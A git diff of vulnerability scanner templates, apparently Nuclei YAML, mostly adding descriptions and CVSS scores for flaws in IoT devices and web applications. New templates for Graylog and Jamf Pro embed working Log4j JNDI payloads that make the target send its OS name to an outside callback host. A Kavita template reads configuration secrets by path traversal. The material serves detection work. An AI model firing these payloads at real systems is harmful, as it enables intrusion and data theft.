a/vulnerabilities/other/goip-1-lfi.yaml b/vulnerabilities/other/goip-1-lfi.yaml index 6070b4dcc9..4cb87cd16e 100644 --- a/vulnerabilities/other/goip-1-lfi.yaml +++ b/vulnerabilities/other/goip-1-lfi.yaml @@ -4,12 +4,15 @@ info: name: GoIP-1 GSM - Local File Inclusion author: gy741 severity: high - description: Input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker - to read arbitrary files on the affected system. + description: GoIP-1 GSM is vulnerable to local file inclusion because input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system. reference: - https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/ - http://www.hybertone.com/uploadfile/download/20140304125509964.pdf - http://en.dbltek.com/latestfirmwares.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: gsm,goip,lfi,iot requests: @@ -22,3 +25,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/graylog-log4j.yaml b/vulnerabilities/other/graylog-log4j.yaml new file mode 100644 index 0000000000..e36130433f --- /dev/null +++ b/vulnerabilities/other/graylog-log4j.yaml @@ -0,0 +1,55 @@ +id: graylog-log4j + +info: + name: GrayLog - Remote Code Execution (Apache Log4j) + author: DhiyaneshDK + severity: critical + description: Graylog uses the Log4j 2 Java library to record its own log information. Versions of this library earlier than 2.15.0 are vulnerable to a remote code execution attack, specifically when specially crafted values sent as user input will be logged by Graylog. + reference: + - https://www.graylog.org/post/graylog-update-for-log4j + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + metadata: + verified: true + shodan-query: title:"Graylog Web Interface" + tags: cve,cve2021,rce,jndi,log4j,graylog + +requests: + - raw: + - | + POST /api/system/sessions HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 + Accept: application/json + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + X-Requested-With: XMLHttpRequest + X-Requested-By: XMLHttpRequest + Content-Type: application/json + Origin: {{BaseURL}} + Referer: {{BaseURL}} + + {"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output diff --git a/vulnerabilities/other/groupoffice-lfi.yaml b/vulnerabilities/other/groupoffice-lfi.yaml index 142e511ab2..3be9406dc0 100644 --- a/vulnerabilities/other/groupoffice-lfi.yaml +++ b/vulnerabilities/other/groupoffice-lfi.yaml @@ -1,12 +1,17 @@ id: groupoffice-lfi info: - name: Groupoffice 3.4.21 Directory Traversal Vulnerability + name: Groupoffice 3.4.21 - Local File Inclusion author: 0x_Akoko severity: high + description: Groupoffice 3.4.21 is vulnerable to local file inclusion. reference: - https://cxsecurity.com/issue/WLB-2018020249 - http://www.group-office.com + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: groupoffice,lfi,traversal requests: @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/gsoap-lfi.yaml b/vulnerabilities/other/gsoap-lfi.yaml index fd296bca72..446ea053c3 100644 --- a/vulnerabilities/other/gsoap-lfi.yaml +++ b/vulnerabilities/other/gsoap-lfi.yaml @@ -1,12 +1,17 @@ id: gsoap-lfi info: - name: gSOAP 2.8 - Directory Traversal + name: gSOAP 2.8 - Local File Inclusion author: 0x_Akoko + description: gSOAP 2.8 is vulnerable to local file inclusion. severity: high reference: - https://www.exploit-db.com/exploits/47653 - tags: gsoap,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: edb,gsoap,lfi requests: - raw: @@ -27,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/h3c-imc-rce.yaml b/vulnerabilities/other/h3c-imc-rce.yaml index 7448e95f74..2bda791838 100644 --- a/vulnerabilities/other/h3c-imc-rce.yaml +++ b/vulnerabilities/other/h3c-imc-rce.yaml @@ -1,14 +1,18 @@ id: h3c-imc-rce info: - name: H3c IMC RCE + name: H3c IMC - Remote Code Execution author: pikpikcu severity: critical - description: A vulnerability in H3C IMC allows remote unauthenticated attackers to cause the remote web application to execute arbitrary commands via the 'dynamiccontent.properties.xhtml' endpoint + description: H3c IMC allows remote unauthenticated attackers to cause the remote web application to execute arbitrary commands via the 'dynamiccontent.properties.xhtml' endpoint. reference: - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw metadata: fofa-query: body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: rce,h3c-imc requests: @@ -38,3 +42,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/01 diff --git a/vulnerabilities/other/hanming-lfr.yaml b/vulnerabilities/other/hanming-lfr.yaml index 9a90adea5b..8dd3d23aeb 100644 --- a/vulnerabilities/other/hanming-lfr.yaml +++ b/vulnerabilities/other/hanming-lfr.yaml @@ -1,11 +1,16 @@ id: hanming-lfr info: - name: Hanming Video Conferencing File Read + name: Hanming Video Conferencing - Local File Inclusion author: ritikchaddha severity: high + description: Hanming Video Conferencing is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfr,hanming,lfi requests: @@ -28,3 +33,5 @@ requests: - type: regex regex: - "root:[x*]:0:0:" + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/hashicorp-consul-rce.yaml b/vulnerabilities/other/hashicorp-consul-rce.yaml index b631c96023..52a8e97f06 100644 --- a/vulnerabilities/other/hashicorp-consul-rce.yaml +++ b/vulnerabilities/other/hashicorp-consul-rce.yaml @@ -1,12 +1,17 @@ id: hashicorp-consul-rce info: - name: Hashicorp Consul Services Api RCE + name: Hashicorp Consul Services API - Remote Code Execution author: pikpikcu severity: critical + description: Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to gaino remote command execution on Consul nodes. reference: - https://www.exploit-db.com/exploits/46074 - tags: hashicorp,rce,oast,intrusive + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: hashicorp,rce,oast,intrusive,edb requests: - raw: @@ -31,3 +36,5 @@ requests: part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" + +# Enhanced by mp on 2022/06/01 diff --git a/vulnerabilities/other/hasura-graphql-psql-exec.yaml b/vulnerabilities/other/hasura-graphql-psql-exec.yaml index 8bc90128e4..5c3fbecd73 100644 --- a/vulnerabilities/other/hasura-graphql-psql-exec.yaml +++ b/vulnerabilities/other/hasura-graphql-psql-exec.yaml @@ -1,13 +1,17 @@ id: hasura-graphql-psql-exec info: - name: Hasura GraphQL Engine - postgresql query exec + name: Hasura GraphQL Engine - Remote Code Execution author: Udyz severity: critical - description: A vulnerability in Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint. + description: Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint (aka remote code execution). reference: - https://www.exploit-db.com/exploits/49802 - tags: hasura,rce,graphql + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: graphql,edb,hasura,rce requests: - raw: @@ -37,3 +41,5 @@ requests: regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/06/01 diff --git a/vulnerabilities/other/hiboss-rce.yaml b/vulnerabilities/other/hiboss-rce.yaml index 6b90431fa1..8fbac12d5b 100644 --- a/vulnerabilities/other/hiboss-rce.yaml +++ b/vulnerabilities/other/hiboss-rce.yaml @@ -1,12 +1,16 @@ id: hiboss-rce info: - name: Hiboss RCE + name: Hiboss - Remote Code Execution author: pikpikcu severity: critical - description: A vulnerability in HiBoss allows remote unauthenticated attackers to cause the server to execute arbitrary code via the 'server_ping.php' endpoint and the 'ip' parameter. + description: HiBoss allows remote unauthenticated attackers to cause the server to execute arbitrary code via the 'server_ping.php' endpoint and the 'ip' parameter. reference: - http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md?btwaf=40088994 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: hiboss,rce requests: @@ -29,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml b/vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml index 1e8a385c2d..af3090b92a 100644 --- a/vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml +++ b/vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml @@ -1,11 +1,16 @@ id: hjtcloud-arbitrary-file-read info: - name: HJTcloud Arbitrary File Read + name: HJTcloud - Local File Inclusion author: pikpikcu severity: high + description: HJTcloud is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: hjtcloud,lfi requests: @@ -38,3 +43,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml b/vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml index 3d5c205fec..8d4ac191b0 100644 --- a/vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml +++ b/vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml @@ -1,11 +1,16 @@ id: hjtcloud-rest-arbitrary-file-read info: - name: HJTcloud Arbitrary file read + name: HJTcloud - Local File Inclusion author: pikpikcu - severity: low + severity: high + description: HJTcloud is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: hjtcloud,lfi requests: @@ -33,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/homeautomation-v3-openredirect.yaml b/vulnerabilities/other/homeautomation-v3-openredirect.yaml index 539e6eb49d..f73aa868e7 100644 --- a/vulnerabilities/other/homeautomation-v3-openredirect.yaml +++ b/vulnerabilities/other/homeautomation-v3-openredirect.yaml @@ -12,10 +12,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://example.com/" + - "{{BaseURL}}/homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/other/hrsale-unauthenticated-lfi.yaml b/vulnerabilities/other/hrsale-unauthenticated-lfi.yaml index eb3bfcfe28..e534753ac6 100644 --- a/vulnerabilities/other/hrsale-unauthenticated-lfi.yaml +++ b/vulnerabilities/other/hrsale-unauthenticated-lfi.yaml @@ -1,13 +1,17 @@ id: hrsale-unauthenticated-lfi info: - name: Hrsale 2.0.0 - Hrsale Unauthenticated Lfi + name: Hrsale 2.0.0 - Local File Inclusion author: 0x_Akoko severity: high - description: This exploit allow you to download any readable file from server without permission and login session + description: Hrsale 2.0.0 is vulnerable to local file inclusion. This exploit allow you to download any readable file from server without permission and login session reference: - https://www.exploit-db.com/exploits/48920 - tags: hrsale,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: hrsale,lfi,edb requests: - method: GET @@ -24,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/huawei-hg659-lfi.yaml b/vulnerabilities/other/huawei-hg659-lfi.yaml index 9848bc2218..9fbb59d574 100644 --- a/vulnerabilities/other/huawei-hg659-lfi.yaml +++ b/vulnerabilities/other/huawei-hg659-lfi.yaml @@ -1,11 +1,16 @@ id: huawei-hg659-lfi info: - name: HUAWEI HG659 LFI + name: HUAWEI HG659 - Local File Inclusion author: pikpikcu severity: high + description: HUAWEI HG659 is vulnerable to local file inclusion. reference: - https://twitter.com/sec715/status/1406782172443287559 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfi,huawei requests: @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/huawei-router-auth-bypass.yaml b/vulnerabilities/other/huawei-router-auth-bypass.yaml index a094938e84..5368998b11 100644 --- a/vulnerabilities/other/huawei-router-auth-bypass.yaml +++ b/vulnerabilities/other/huawei-router-auth-bypass.yaml @@ -1,13 +1,17 @@ id: huawei-router-auth-bypass info: - name: Huawei Router Authentication Bypass + name: Huawei Router - Authentication Bypass author: gy741 severity: critical - description: The default password of this router is the last 8 characters of the device's serial number which exist in the back of the device. + description: Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device's serial number which exist on the back of the device. reference: - https://www.exploit-db.com/exploits/48310 - tags: huawei,auth-bypass,router + classification: + cvss-metrics: CVSS:10.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-288 + tags: auth-bypass,router,edb,huawei requests: - raw: @@ -28,4 +32,6 @@ requests: - "DeviceName" - "SerialNumber" - "HardwareVersion" - condition: and \ No newline at end of file + condition: and + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/huijietong-cloud-fileread.yaml b/vulnerabilities/other/huijietong-cloud-fileread.yaml index 1ab77f4a97..2fc3fd3fe7 100644 --- a/vulnerabilities/other/huijietong-cloud-fileread.yaml +++ b/vulnerabilities/other/huijietong-cloud-fileread.yaml @@ -1,8 +1,9 @@ id: huijietong-cloud-fileread info: - name: Huijietong Cloud File Read + name: Huijietong - Local File Inclusion author: princechaddha,ritikchaddha + description: Huijietong is vulnerable to local file inclusion. severity: high metadata: fofa-query: body="/him/api/rest/v1.0/node/role" @@ -31,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/icewarp-openredirects.yaml b/vulnerabilities/other/icewarp-openredirects.yaml new file mode 100644 index 0000000000..f040c3581e --- /dev/null +++ b/vulnerabilities/other/icewarp-openredirects.yaml @@ -0,0 +1,36 @@ +id: icewarp-open-redirect + +info: + name: IceWarp - Open Redirect + author: uomogrande + severity: medium + description: Detects icewarp open redirects / fixed in Version 13.0.2.4 + metadata: + verified: true + shodan-query: title:"icewarp" + tags: icewarp,redirect + +requests: + - raw: + - | + GET ///interact.sh/%2F.. HTTP/1.1 + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'IceWarp' + + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' + + extractors: + - type: regex + name: redirected + part: header + group: 1 + regex: + - 'Server: (.{4,20})' diff --git a/vulnerabilities/other/icewarp-webclient-rce.yaml b/vulnerabilities/other/icewarp-webclient-rce.yaml index cf829fe9d3..346be3002f 100644 --- a/vulnerabilities/other/icewarp-webclient-rce.yaml +++ b/vulnerabilities/other/icewarp-webclient-rce.yaml @@ -1,11 +1,17 @@ id: icewarp-webclient-rce info: - name: IceWarp WebClient RCE + name: IceWarp WebClient - Remote Code Execution author: gy741 severity: critical - reference: - - https://www.pwnwiki.org/index.php?title=IceWarp_WebClient_basic_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E + description: | + IceWarp WebClient is susceptible to remote code execution. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + shodan-query: title:"icewarp" tags: icewarp,rce requests: @@ -20,10 +26,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "Microsoft Windows [Version" - part: body - type: status status: - 302 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/interlib-fileread.yaml b/vulnerabilities/other/interlib-fileread.yaml index 9386ffb3b2..71bd3ea00b 100644 --- a/vulnerabilities/other/interlib-fileread.yaml +++ b/vulnerabilities/other/interlib-fileread.yaml @@ -1,11 +1,16 @@ id: interlib-fileread info: - name: Interlib Fileread + name: Interlib - Local File Inclusion author: pikpikcu + description: Interlib is vulnerable to local file inclusion. severity: high reference: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AB%99%E7%BE%A4%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: interlib,lfi requests: @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/jamf-pro-log4j.yaml b/vulnerabilities/other/jamf-pro-log4j.yaml new file mode 100644 index 0000000000..52c6283736 --- /dev/null +++ b/vulnerabilities/other/jamf-pro-log4j.yaml @@ -0,0 +1,52 @@ +id: jamf-pro-log4j + +info: + name: JamfPro - Remote Code Execution (Apache Log4j) + author: DhiyaneshDK + severity: critical + reference: + - https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + metadata: + verified: true + shodan-query: title:"Jamf Pro" + tags: cve,cve2021,rce,jndi,log4j,jamfpro + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Origin: {{BaseURL}} + Referer: {{BaseURL}} + + username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output diff --git a/vulnerabilities/other/jeewms-lfi.yaml b/vulnerabilities/other/jeewms-lfi.yaml index eb3fc80104..b13f9827bb 100644 --- a/vulnerabilities/other/jeewms-lfi.yaml +++ b/vulnerabilities/other/jeewms-lfi.yaml @@ -1,11 +1,16 @@ id: jeewms-lfi info: - name: JEEWMS LFI + name: JEEWMS - Local File Inclusion author: pikpikcu severity: high + description: JEEWMS is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: jeewms,lfi requests: @@ -33,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/jinfornet-jreport-lfi.yaml b/vulnerabilities/other/jinfornet-jreport-lfi.yaml index 33c359624a..866f59fa95 100644 --- a/vulnerabilities/other/jinfornet-jreport-lfi.yaml +++ b/vulnerabilities/other/jinfornet-jreport-lfi.yaml @@ -1,14 +1,17 @@ id: jinfornet-jreport-lfi info: - name: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal + name: Jinfornet Jreport 15.6 - Local File Inclusion author: 0x_Akoko severity: high - description: Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. - This vulnerability affects Windows and Unix operating systems. + description: Jinfornet Jreport 15.6 is vulnerable to local file incluion via the Jreport Help function in the SendFileServlet. Exploitaiton allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems. reference: - https://cxsecurity.com/issue/WLB-2020030151 - https://www.jinfonet.com/product/download-jreport/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: jreport,jinfornet,lfi requests: @@ -26,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/joomla-com-fabrik-lfi.yaml b/vulnerabilities/other/joomla-com-fabrik-lfi.yaml index e0cdd36ce7..fe23caac3a 100644 --- a/vulnerabilities/other/joomla-com-fabrik-lfi.yaml +++ b/vulnerabilities/other/joomla-com-fabrik-lfi.yaml @@ -1,12 +1,17 @@ id: joomla-com-fabrik-lfi info: - name: Joomla! com_fabrik 3.9.11 - Directory Traversal + name: Joomla! com_fabrik 3.9.11 - Local File Inclusion author: dhiyaneshDk severity: high + description: Joomla! com_fabrik 3.9.11 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/48263 - tags: joomla,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: joomla,lfi,edb requests: - method: GET @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/karel-ip-phone-lfi.yaml b/vulnerabilities/other/karel-ip-phone-lfi.yaml index d2ca25b0c4..a9c13274db 100644 --- a/vulnerabilities/other/karel-ip-phone-lfi.yaml +++ b/vulnerabilities/other/karel-ip-phone-lfi.yaml @@ -1,13 +1,17 @@ id: karel-ip-phone-lfi info: - name: Karel IP Phone IP1211 Web Management Panel - Directory Traversal + name: Karel IP Phone IP1211 Web Management Panel - Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in the Karel IP Phone IP1211 Web Management Panel allows remote attackers to access arbitrary files stored on the remote device via the 'cgiServer.exx' endpoint and the 'page' parameter. + description: Karel IP Phone IP1211 Web Management Panel is vulnerable to local file inclusion and can allow remote attackers to access arbitrary files stored on the remote device via the 'cgiServer.exx' endpoint and the 'page' parameter. reference: - https://cxsecurity.com/issue/WLB-2020100038 - https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: karel,lfi requests: @@ -26,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/vulnerabilities/other/kavita-lfi.yaml b/vulnerabilities/other/kavita-lfi.yaml new file mode 100644 index 0000000000..6bc32e8cf3 --- /dev/null +++ b/vulnerabilities/other/kavita-lfi.yaml @@ -0,0 +1,33 @@ +id: kavita-lfi + +info: + name: Kavita - Path Traversal + author: arafatansari + severity: medium + description: | + kareadita/kavita allows Path Traversal by abusing the filename parameter of the /api/image/cover-upload. + reference: + - https://huntr.dev/bounties/2eef332b-65d2-4f13-8c39-44a8771a6f18/ + metadata: + verified: true + shodan-query: http.html:"kavita" + tags: kavita,lfi,huntr + +requests: + - method: GET + path: + - '{{BaseURL}}/api/image/cover-upload?filename=../appsettings.json' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"ConnectionStrings":' + - '"Path":' + - '"TokenKey":' + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/kevinlab-bems-backdoor.yaml b/vulnerabilities/other/kevinlab-bems-backdoor.yaml index 867311d115..9d391bed8e 100644 --- a/vulnerabilities/other/kevinlab-bems-backdoor.yaml +++ b/vulnerabilities/other/kevinlab-bems-backdoor.yaml @@ -1,12 +1,10 @@ id: kevinlab-bems-backdoor info: - name: KevinLAB BEMS (Building Energy Management System) Undocumented Backdoor Account + name: KevinLAB BEMS (Building Energy Management System) - Backdoor Detection author: gy741 severity: critical - description: The BEMS solution has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the - RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users - settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. + description: KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php tags: kevinlab,backdoor @@ -24,17 +22,19 @@ requests: matchers-condition: and matchers: - type: regex + part: body regex: - 'data":"[A-Za-z0-9-]+' - 'login_key":"[A-Za-z0-9-]+' - part: body condition: or - type: word + part: body words: - '"result":true' - part: body - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/kevinlab-bems-sqli.yaml b/vulnerabilities/other/kevinlab-bems-sqli.yaml index 929f8c97cc..40f1c00ab0 100644 --- a/vulnerabilities/other/kevinlab-bems-sqli.yaml +++ b/vulnerabilities/other/kevinlab-bems-sqli.yaml @@ -10,7 +10,7 @@ info: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php - https://www.exploit-db.com/exploits/50146 - https://packetstormsecurity.com/files/163572/ - tags: kevinlab,sqli + tags: kevinlab,sqli,edb,packetstorm requests: - raw: diff --git a/vulnerabilities/other/kevinlab-hems-backdoor.yaml b/vulnerabilities/other/kevinlab-hems-backdoor.yaml index 525d27e4c1..6cd0e7a870 100644 --- a/vulnerabilities/other/kevinlab-hems-backdoor.yaml +++ b/vulnerabilities/other/kevinlab-hems-backdoor.yaml @@ -1,12 +1,11 @@ id: kevinlab-hems-backdoor info: - name: KevinLAB HEMS Undocumented Backdoor Account + name: KevinLAB HEMS - Backdoor Detection author: gy741 severity: critical - description: The HEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the - RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users - settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the 